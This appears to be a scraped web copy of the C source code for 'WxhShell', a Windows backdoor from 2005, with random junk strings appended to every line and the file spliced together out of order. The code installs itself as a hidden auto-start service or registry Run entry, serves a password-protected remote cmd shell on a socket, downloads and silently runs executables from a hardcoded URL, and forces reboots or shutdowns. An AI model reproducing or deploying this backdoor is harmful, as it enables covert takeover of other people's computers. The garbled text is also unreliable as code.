    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :q2RgZE  
    else { 5Ktll~+:#  
    closesocket(wsh); yRhD<*  
    ExitThread(0); WdJeh:h  
    } ?WS.RBe2  
    break; 3c`  
    } mxc^IRj  
  // 获取shell Z0V6cikW6  
  case 's': { /Vv)00  
    CmdShell(wsh); ~( rZ)  
    closesocket(wsh); {@" F/G+  
    ExitThread(0); g'-hSV/@}@  
    break; tM:$H6m/(  
  } S =sL:FC  
  // 退出 ZM=eiJZ  
  case 'x': { hJ8B&u(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .b2%n;_>.  
    CloseIt(wsh); m[N&UM#  
    break; q.ppYXJUXi  
    } `+Mva  
  // 离开 kZ^wc .  
  case 'q': { UG]5Dxk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' #t1e]  
    closesocket(wsh); JQ]MkP  
    WSACleanup(); [#:yOZt  
    exit(1); p5nrPL  
    break; JJ_KfnH  
        } gp{Z]{io  
  } gi? wf  
  } |Y+[_D}  
[Fd[(  
  // 提示信息 *unJd"<*&@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _z"\3hZ  
} <z wI@i  
  } y<yU5  
w-wJhc|  
  return; (Y?}'?  
} w/fiNY5FZ  
LA,G>#?H  
// shell模块句柄 V4gvKWc  
int CmdShell(SOCKET sock) m O0#xY_z  
{ $A:?o?"7}  
STARTUPINFO si; $fW8S8  
ZeroMemory(&si,sizeof(si)); g*%o%Lv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QP6a,^];  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #t">tL  
PROCESS_INFORMATION ProcessInfo; )Z`OkkabnD  
char cmdline[]="cmd"; O;#0Yg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "[ >ql1t{b  
  return 0; Op iVQr:  
} lYrW"(2  
<+`}: A  
// 自身启动模式 UzkX;UA  
int StartFromService(void) l_ &T)Ei  
{ ?d)eri8,  
typedef struct YQ}IE[J}v  
{ c/G^}d%  
  DWORD ExitStatus; # 9ZO1\  
  DWORD PebBaseAddress; )x&>Cf<,  
  DWORD AffinityMask; SYv5{bff =  
  DWORD BasePriority; tlmfDQD  
  ULONG UniqueProcessId; `?(9Bl  
  ULONG InheritedFromUniqueProcessId; $0;Dk,  
}   PROCESS_BASIC_INFORMATION; 1FRpcE  
l]P3oB}Yo  
PROCNTQSIP NtQueryInformationProcess; *3y:Wv T>  
f87lm*wZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YYd!/@|N5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rd+ `b  
>!P !F(  
  HANDLE             hProcess; kc"SUiy/  
  PROCESS_BASIC_INFORMATION pbi; _ 3jY,*  
`vrLFPdO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); % wh>_Ho  
  if(NULL == hInst ) return 0; ?OWJUmQ  
TSP#.QY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |?uUw$oh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |uln<nM9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); izP>w*/nO  
qH*Fv:qnM  
  if (!NtQueryInformationProcess) return 0; ^:m7Qd?Z[  
)u5+<OG}=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (fnp\j3w  
  if(!hProcess) return 0; f.u+({"ql  
^ Hv4t   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m[?gN&%nc  
Vg? 1&8>  
  CloseHandle(hProcess); 8Jf4" ;  
-$kA WP8P4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _WHGd&u  
if(hProcess==NULL) return 0; g h&,U`  
#j${R ={  
HMODULE hMod; C?VNkBJ>\  
char procName[255]; d} ]jw4  
unsigned long cbNeeded; Qw/H7fvh&  
Q2!vO4!<N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >[gNQJ6  
gLPgh%B4  
  CloseHandle(hProcess); g E;o_~  
Ba]^0Y u  
if(strstr(procName,"services")) return 1; // 以服务启动 [5Pin>]z  
2t"&>1  
  return 0; // 注册表启动 ."JtR  
} %$SO9PY  
6"Rw&3D?  
// 主模块 si3@R?WR6*  
int StartWxhshell(LPSTR lpCmdLine) =G%L:m*  
{ XVkCYh4,  
  SOCKET wsl; Kh2!c+Mw  
BOOL val=TRUE; SpX6PwM  
  int port=0; '#@tovr  
  struct sockaddr_in door; qFYM2  
ju?D=n@i  
  if(wscfg.ws_autoins) Install(); G^/8lIj  
rnTjw "%  
port=atoi(lpCmdLine); $y+Bril5W  
o@tc   
if(port<=0) port=wscfg.ws_port; <;nhb  
[&a=vE  
  WSADATA data; YhNO{4D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l^E)XWd  
O4fl$egQU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *.F4?i2D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); whvvc2  
  door.sin_family = AF_INET; I9;,qd%<T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `E2HQA@  
  door.sin_port = htons(port); Z`Sbq{Kx  
L4-v'Z;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :LEC[</yvl  
closesocket(wsl); As-xO~+  
return 1; C;NG#4;'  
} -7:_Dy  
(S1Co&SX  
  if(listen(wsl,2) == INVALID_SOCKET) { 1=Nh<FuQ  
closesocket(wsl); ct![eWsuB  
return 1; ~zT743  
} R\d)kcy4  
  Wxhshell(wsl); tKKQli4Mn4  
  WSACleanup(); ,c9K]>8m`  
=S:Snk%  
return 0; R;EdYbiF b  
zyi;vu  
} w_]`)$9  
X(*MHBd  
// 以NT服务方式启动 .-HwT3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) - HiRXB  
{ 8Xjp5  
DWORD   status = 0; 2\J-7o=P  
  DWORD   specificError = 0xfffffff; $|%BaEyk  
r>ca17  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -oR P ZtW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R /0zB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZF~@a+o  
  serviceStatus.dwWin32ExitCode     = 0; ,37\8y?o\  
  serviceStatus.dwServiceSpecificExitCode = 0; N-:.z]j#_  
  serviceStatus.dwCheckPoint       = 0; S{#L7S  
  serviceStatus.dwWaitHint       = 0; K]c\3[vR  
8*Ke;X~N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gj H$!P=.  
  if (hServiceStatusHandle==0) return; Ny2. C?2  
pW4$$2S?9  
status = GetLastError(); / U5!]7&gB  
  if (status!=NO_ERROR) RJk42;]  
{ nBJ'ak   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |Pj]sh[^Y  
    serviceStatus.dwCheckPoint       = 0; AD^Q`7K?uR  
    serviceStatus.dwWaitHint       = 0; !$L~/<&0g  
    serviceStatus.dwWin32ExitCode     = status; FH7h?!|t  
    serviceStatus.dwServiceSpecificExitCode = specificError; ee\QK,QV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #$0*Gd-N  
    return; !}PZCbDhL  
  } B Ms?+  
w9]HJ3qi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,A9_xdv5  
  serviceStatus.dwCheckPoint       = 0; ' >R?8Y  
  serviceStatus.dwWaitHint       = 0; x,:DL)$1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $~5ax8u&!#  
} Dlqvz|X/  
"cDMFu  
// 处理NT服务事件,比如:启动、停止 5e}adHjM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V18 A|]k  
{ ^LAnR>mz^r  
switch(fdwControl) &Xh_`*]ox  
{ :^H2D=z@  
case SERVICE_CONTROL_STOP: N/6! |F  
  serviceStatus.dwWin32ExitCode = 0; ^Cy=L]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s@D/.X  
  serviceStatus.dwCheckPoint   = 0; uyDPWnYk  
  serviceStatus.dwWaitHint     = 0; <`'T#e$  
  { 5/YGu=,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ i8"eF  
  } u%sfHGrH  
  return; :` >bh  
case SERVICE_CONTROL_PAUSE: {j[a'Gb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JBk >|q"  
  break; ^aR^M\38  
case SERVICE_CONTROL_CONTINUE: []b= xRJM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T7R,6 qt  
  break; r%\%tz'`j  
case SERVICE_CONTROL_INTERROGATE: %i5tf;x6i  
  break; $q*hE&x Qd  
}; C8t;E`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e82xBLxR%  
} =M9;`EmC  
A"i $.dR{  
// 标准应用程序主函数 ZgA+$}U)uW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .oH)eD  
{ i[/`9 AK  
ex6 QHUQ  
// 获取操作系统版本 lsA?|4`mn  
OsIsNt=GetOsVer(); %sCG}? y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sWv!ig_  
ke b.%cb=  
  // 从命令行安装 *BHp?cn;F2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~yiw{:\  
_lrvK99  
  // 下载执行文件 crQ_@@X?<  
if(wscfg.ws_downexe) { wA\a ]X.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D6,Ol4d  
  WinExec(wscfg.ws_filenam,SW_HIDE); J_7#UjGA,  
} /tj_WO_  
bXi(]5  
if(!OsIsNt) { suHi sc*  
// 如果时win9x,隐藏进程并且设置为注册表启动 @Nn'G{8OG  
HideProc(); %>- ?oor  
StartWxhshell(lpCmdLine); =z zmz7op  
} `Z^\<{z  
else [JYy  
  if(StartFromService()) P&IS$FC.\  
  // 以服务方式启动 IoZ _zz0  
  StartServiceCtrlDispatcher(DispatchTable); ~s*kuj'%+  
else &} r-C97  
  // 普通方式启动 qs {wrem  
  StartWxhshell(lpCmdLine); d <RJH  
w@WPp0mny  
return 0; Fv<3VKueK[  
} _N:GZLG  
UM2yv6:/  
<w3_EO  
!v. <H]s)  
=========================================== lYT_Y.%I  
MY'T%_i d  
B?l 0u  
I%l2_hs0V  
x>tsI}C  
@%jY  
" YI>9C 76L  
e$7KMH=  
#include <stdio.h> W`uq,r0Xsy  
#include <string.h> ;FJFr*PM  
#include <windows.h> 35J VF*z  
#include <winsock2.h> CbwQbJ/v7  
#include <winsvc.h> Pk>S;KT.  
#include <urlmon.h> nK}-^Ur  
&v#pS!UOj  
#pragma comment (lib, "Ws2_32.lib") f2u4*X E\  
#pragma comment (lib, "urlmon.lib") g@Pq<   
,P%i%YPj  
#define MAX_USER   100 // 最大客户端连接数 hP}-yW6]  
#define BUF_SOCK   200 // sock buffer 5zOC zm  
#define KEY_BUFF   255 // 输入 buffer mt~E&Z(A  
Qb|@DMq%  
#define REBOOT     0   // 重启 .bUj  
#define SHUTDOWN   1   // 关机 YJ|U| [  
p8FXlTk  
#define DEF_PORT   5000 // 监听端口 D$+g5u)  
4~1lP&  
#define REG_LEN     16   // 注册表键长度 6^lix9q7  
#define SVC_LEN     80   // NT服务名长度 0?cJ>)N  
$,B;\PX  
// 从dll定义API (8~D ^N6Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a"l\_D'.K8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yKy )%i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "7eL&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7AlL,&+  
qh+&Zx~  
// wxhshell配置信息 (|>rDk;  
struct WSCFG { -A@/cS%p  
  int ws_port;         // 监听端口 l6zYiM  
  char ws_passstr[REG_LEN]; // 口令 PS8^=  
  int ws_autoins;       // 安装标记, 1=yes 0=no AH-BZ8  
  char ws_regname[REG_LEN]; // 注册表键名 \OXQ%J2v  
  char ws_svcname[REG_LEN]; // 服务名 ]( FFvqA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gVrfZ&XF84  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !hjF"Pa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KciN"g|X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ckc5;:b&m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kj6H+@ {  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #lO ^PK  
[=",R&uD$  
}; A/{!w"G  
p[ &b@U#  
// default Wxhshell configuration oJQ \?~  
struct WSCFG wscfg={DEF_PORT, z;MPp#Y  
    "xuhuanlingzhe", t)= dKC  
    1, $+PyW( r  
    "Wxhshell", ?L0|$#Iw  
    "Wxhshell", X`J86G)  
            "WxhShell Service", P&Uj?et"  
    "Wrsky Windows CmdShell Service", %w?C)$Kn\  
    "Please Input Your Password: ", WZTAXOw  
  1, FmFjRYA W  
  "http://www.wrsky.com/wxhshell.exe", J~n|5* cz  
  "Wxhshell.exe" W23Q>x&S  
    }; Te`@{>  
[jksOC)@4  
// 消息定义模块 9s*QHCB0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  Q7-iy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !l]_c 5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yZN~A:  
char *msg_ws_ext="\n\rExit."; !K0 U..  
char *msg_ws_end="\n\rQuit."; i]OEhB Y  
char *msg_ws_boot="\n\rReboot..."; $E.Fgy:G  
char *msg_ws_poff="\n\rShutdown..."; D)Ep!`Q   
char *msg_ws_down="\n\rSave to "; )U7fPKQ  
n/x((d%"E  
char *msg_ws_err="\n\rErr!"; /='Q-`?9  
char *msg_ws_ok="\n\rOK!"; 81C;D`!K  
M6bM`wHH>  
char ExeFile[MAX_PATH]; {3.n!7+  
int nUser = 0; CRD=7\0(D+  
HANDLE handles[MAX_USER]; Ql%B=vgKL  
int OsIsNt; "vg.{  
jgS3#  
SERVICE_STATUS       serviceStatus; ANJL8t-m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tfu`_6  
}+Q4s]  
// 函数声明 b^&azUkMN  
int Install(void); bWSc&/ 9y  
int Uninstall(void); *l;S"}b*,_  
int DownloadFile(char *sURL, SOCKET wsh); JU.!<  
int Boot(int flag); ~y?Nn8+&f  
void HideProc(void); z>\l%_w  
int GetOsVer(void); |>[qC O  
int Wxhshell(SOCKET wsl); CyS %11L  
void TalkWithClient(void *cs); SF9NS*mr  
int CmdShell(SOCKET sock); 9X,iQ  
int StartFromService(void); IUDH"~f  
int StartWxhshell(LPSTR lpCmdLine); ~Uey'Xz  
ijUu{PG`X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tTF<DD}8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <h;_:  
{}rnn$HQe  
// 数据结构和表定义 5Zd oem  
SERVICE_TABLE_ENTRY DispatchTable[] = FJ4,|x3v[x  
{ a+\<2NXYD  
{wscfg.ws_svcname, NTServiceMain}, 5 ba e-  
{NULL, NULL} j S[#R_  
}; fVf:voh  
9D Nd} rXO  
// 自我安装 (wuciKQ  
int Install(void) NbTaI{r  
{ V.*y_=i8t  
  char svExeFile[MAX_PATH]; TOF V`7q;3  
  HKEY key; aSu^  
  strcpy(svExeFile,ExeFile); LnKgT1  
Aj=GekX{  
// 如果是win9x系统,修改注册表设为自启动 !h|,wq]k  
if(!OsIsNt) { ,Q3OQ[Nmh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MBU|<tc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qe\vx1GRLH  
  RegCloseKey(key); *W 2)!C|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4(VV@:_%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ExSM=  
  RegCloseKey(key); F\^8k/0  
  return 0; SDV#p];u  
    } LMx/0  
  } $v[mIR  
} S89j:KRXH%  
else { 3 o$zT9j  
+RJKJ:W  
// 如果是NT以上系统,安装为系统服务 WJu(,zM?G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >j3':>\U  
if (schSCManager!=0) 7}y@VO6]  
{ 6wj o:I  
  SC_HANDLE schService = CreateService u$C\#y7  
  ( ]1XtV<  
  schSCManager, J*MH`;-  
  wscfg.ws_svcname, a/J Mg   
  wscfg.ws_svcdisp, 0nL #-`S  
  SERVICE_ALL_ACCESS, Yj*T'<e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~CbiKez  
  SERVICE_AUTO_START, ^<-)rzTI  
  SERVICE_ERROR_NORMAL, %OB>FY:|  
  svExeFile, IW&*3I<K  
  NULL, 0ju-l= w  
  NULL, D)?%kNeA  
  NULL, \#LDX,=  
  NULL, mXyN{`q=  
  NULL U;4i&=.!  
  ); "uT2 DY[  
  if (schService!=0) Y0krFhL'x0  
  { h@\-]zN{  
  CloseServiceHandle(schService); {:*G/*1[.  
  CloseServiceHandle(schSCManager); ej@4jpHQN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U5TkgHN{y  
  strcat(svExeFile,wscfg.ws_svcname); tpEy-"D&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hg<aU*o;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nW"O+s3  
  RegCloseKey(key); _ h5d~  
  return 0; w8R7Ksn(  
    } gd]S;<Jh  
  } HcJ!(  
  CloseServiceHandle(schSCManager); Q~qM;l\i  
} pfHjs3A=  
} egSs=\  
wK7w[Xt  
return 1; j5" L  
} dsx<ZwZN>  
.?5 ~zK  
// 自我卸载 036m\7+Qj  
int Uninstall(void) utuWFAGn A  
{ (lS[a  
  HKEY key; ZD'mwj+K  
`h'l"3l  
if(!OsIsNt) { /g!ZU2&l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K>e-IxA);0  
  RegDeleteValue(key,wscfg.ws_regname); >6jal?4u-  
  RegCloseKey(key); V^R,j1*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k{#k:  
  RegDeleteValue(key,wscfg.ws_regname); )Z1&`rv  
  RegCloseKey(key); 9aLd!P uTN  
  return 0; gC(S(osF  
  } 3N- '{c6]U  
} _s#]WyU1g  
} )Sb-e(sl  
else { <mlN\BcX;  
l+>Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JygJ4RI%j  
if (schSCManager!=0) {l!{b1KJ  
{ h)ZqZ'k$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B }euIQB  
  if (schService!=0) F nXm;k,9*  
  { uA[ :  
  if(DeleteService(schService)!=0) { TP {\V>*Yz  
  CloseServiceHandle(schService); CEkUXsp  
  CloseServiceHandle(schSCManager); bRyxP2  
  return 0; ym%` l!  
  } 1E / G+pm  
  CloseServiceHandle(schService); qpjZ-[UC  
  } U m\HX6  
  CloseServiceHandle(schSCManager); .=Oww  
} _q#pEv  
} EjFpQ|-L|  
Vm\zLWNB  
return 1; P?f${ t+  
} hBnUpYec  
g[1>|Ax`'  
// 从指定url下载文件 ]?H12xz  
int DownloadFile(char *sURL, SOCKET wsh) - K?lhu  
{ 2^ ]^Yc  
  HRESULT hr; CN ( :  
char seps[]= "/"; 0Zwx3[bq6K  
char *token; qhvT,"  
char *file; T=u"y;&L  
char myURL[MAX_PATH]; p*42 @1,  
char myFILE[MAX_PATH]; ,(Zxd4?y  
HQ9tvSc  
strcpy(myURL,sURL); 2"Wq=qy\J  
  token=strtok(myURL,seps); q MrM^ ~  
  while(token!=NULL) Ul /m]b6-  
  { \1joW#  
    file=token; 4]m{^z`1  
  token=strtok(NULL,seps); dWkQ NFKF  
  } 'A.5T%n-  
(>A#|N1U  
GetCurrentDirectory(MAX_PATH,myFILE); [(_,\:L${  
strcat(myFILE, "\\"); ,)*[Xa_n  
strcat(myFILE, file); )uOtQ0  
  send(wsh,myFILE,strlen(myFILE),0); PkyX,mr#1  
send(wsh,"...",3,0); i&lW&]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 68h1Wjg:"!  
  if(hr==S_OK) 4hxP`!<  
return 0; S-o )d  
else P HOngn  
return 1; { "Cu)AFy  
(nq""kO6'  
} .6$=]hdAp  
Uv>e :U7;  
// 系统电源模块 %i3[x.M  
int Boot(int flag) %.f%Q?P  
{ |wv+g0]Pg^  
  HANDLE hToken; , ~38IIS>_  
  TOKEN_PRIVILEGES tkp; +`gU{e,p  
/{hT3ncb  
  if(OsIsNt) { [<U=)!Swg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :Bt,.uN C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W[DoQ @q  
    tkp.PrivilegeCount = 1; eL"'-d+]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~A5NseWCK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WgR%mm^  
if(flag==REBOOT) { @OT$* Qh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >Tl/3{V  
  return 0; " ]G'^  
} :Ob^b3<t  
else { =>c0NT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GqsV 6kH  
  return 0; `3ha~+Goo!  
} CQ.C{  
  } e8dZR3JL  
  else { ?'a>?al%>  
if(flag==REBOOT) { u(8{5"C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <)a$5"AP  
  return 0; OqMdm~4B!j  
} /KC^x= Xv:  
else { BNE:,I*&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kZG; \  
  return 0; hQe78y  
} G)[gLD{g?  
} xLFMC?I  
K]B`&ih  
return 1; |pBFmm*  
} :TP4f ?FA  
+{=U!}3|  
// win9x进程隐藏模块 $eT[`r  
void HideProc(void) ./3/3& 6  
{ (?'vT %  
(_FeX22+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RAu(FJ  
  if ( hKernel != NULL ) '[8w8,v(  
  { @<$m`^H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G7`mK}J7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J5jI/P  
    FreeLibrary(hKernel); YU6|/ <8  
  } `u_MdB}<x;  
&F#eYEuy  
return; &E0^Jz  
} +RM!j9Rq  
Lz_.m  
// 获取操作系统版本 BjPU@rS .U  
int GetOsVer(void) jf1GYwuW*  
{ r ^*D8  
  OSVERSIONINFO winfo; 2^`k6V!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _~yd  
  GetVersionEx(&winfo); EX!`Zejf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9pj6`5Zn@6  
  return 1; u@:[ dbJ  
  else K@2"n| S;  
  return 0; $Lbamg->E  
} zmD7]?|  
t+F_/_"B  
// 客户端句柄模块 N.Q}.(N0  
int Wxhshell(SOCKET wsl) seAPVzWUU  
{ NQuqM`LSQ  
  SOCKET wsh; iuXXFuh  
  struct sockaddr_in client; ?R sPAL  
  DWORD myID; x\ # K2  
i9qIaG/  
  while(nUser<MAX_USER) l44QB8 9  
{ 6A =k;do  
  int nSize=sizeof(client); 2 #yDVN$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HbPn<x^7  
  if(wsh==INVALID_SOCKET) return 1; 6hR ` sE  
jHE^d<=O^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z#`Qfvu6Hi  
if(handles[nUser]==0) tUOY`]0  
  closesocket(wsh); Nc[N 11?O  
else Zw{?^6;cS  
  nUser++; GNuIcy  
  } j -"34  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Tx_q1/f5X  
N8kNi4$mp=  
  return 0; x%ccNP0  
} `S-%}eUv  
JJg;X :p  
// 关闭 socket M,kO7g  
void CloseIt(SOCKET wsh) $.w$x1  
{ C,mfA%63  
closesocket(wsh); OJA_OqVp$K  
nUser--; ojm IEzsz  
ExitThread(0); 3HcduJntl  
} noz1W ]  
Y d~J(  
// 客户端请求句柄 Q1yXdw  
void TalkWithClient(void *cs) jy>?+hm?  
{ 8b-mW>xsA  
}:$ot18  
  SOCKET wsh=(SOCKET)cs; $'eY-U8q  
  char pwd[SVC_LEN]; -w"lW7  
  char cmd[KEY_BUFF]; :r "G Z  
char chr[1]; x3U>5F@  
int i,j; :/$_eg0A  
<ty]z!B  
  while (nUser < MAX_USER) { j+ L:Ao  
`x>6Wk1  
if(wscfg.ws_passstr) { v{"yrC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  R:Ih#2R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F1-C8V2H  
  //ZeroMemory(pwd,KEY_BUFF); u&TXN;I,p  
      i=0; t54?<-  
  while(i<SVC_LEN) { bd%< Jg+  
I7=A!C"  
  // 设置超时 ="vg/@.>i  
  fd_set FdRead; ]=i('|YG  
  struct timeval TimeOut; D{y7[#$h$  
  FD_ZERO(&FdRead); H=~7g3  
  FD_SET(wsh,&FdRead); ,=G]tnsv^  
  TimeOut.tv_sec=8; dcq18~  
  TimeOut.tv_usec=0; :06.b:_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I#;dS!W"'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ "3s  
zAklS 7L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (.Ak*  
  pwd=chr[0];  CDuA2e  
  if(chr[0]==0xd || chr[0]==0xa) { *pnaj\  
  pwd=0; |`o1B;lc  
  break; w8UUeF  
  } t18j2P>`  
  i++; EVaHb;  
    } K*,,j\Q.  
 !j%  
  // 如果是非法用户,关闭 socket (=c,b9cb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b$*2bSdv0<  
} W|zPV`  
o_k)x3I?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r1vS~ 4Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |nLq 4.  
p"jze3mF  
while(1) { i_r708ep6  
jpZq]E9`P  
  ZeroMemory(cmd,KEY_BUFF); ' i5KRFy-  
$YY{|8@kjv  
      // 自动支持客户端 telnet标准   4<E <sD  
  j=0; m`q&[:  
  while(j<KEY_BUFF) { ew dTsgt'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .b<W*4{j0H  
  cmd[j]=chr[0]; :wg=H  
  if(chr[0]==0xa || chr[0]==0xd) { * ]bB7  
  cmd[j]=0; QZ;DZMP  
  break; #l: 1R&F  
  } Piwox1T ;  
  j++; uCuB>x&  
    } M&faa7  
emrA!<w!W  
  // 下载文件 p-EU"O  
  if(strstr(cmd,"http://")) { m||9,z-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %+|sbRBb  
  if(DownloadFile(cmd,wsh)) QE)zH)(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I''n1v?N  
  else 3)?WSOsL :  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z^4+ 88  
  } RU6c 8>"  
  else { lic-68T  
HOPy&Fp  
    switch(cmd[0]) { x@bqPZ t  
  xJ. kd Tr  
  // 帮助 &Q}%b7  
  case '?': { PO6yE r  
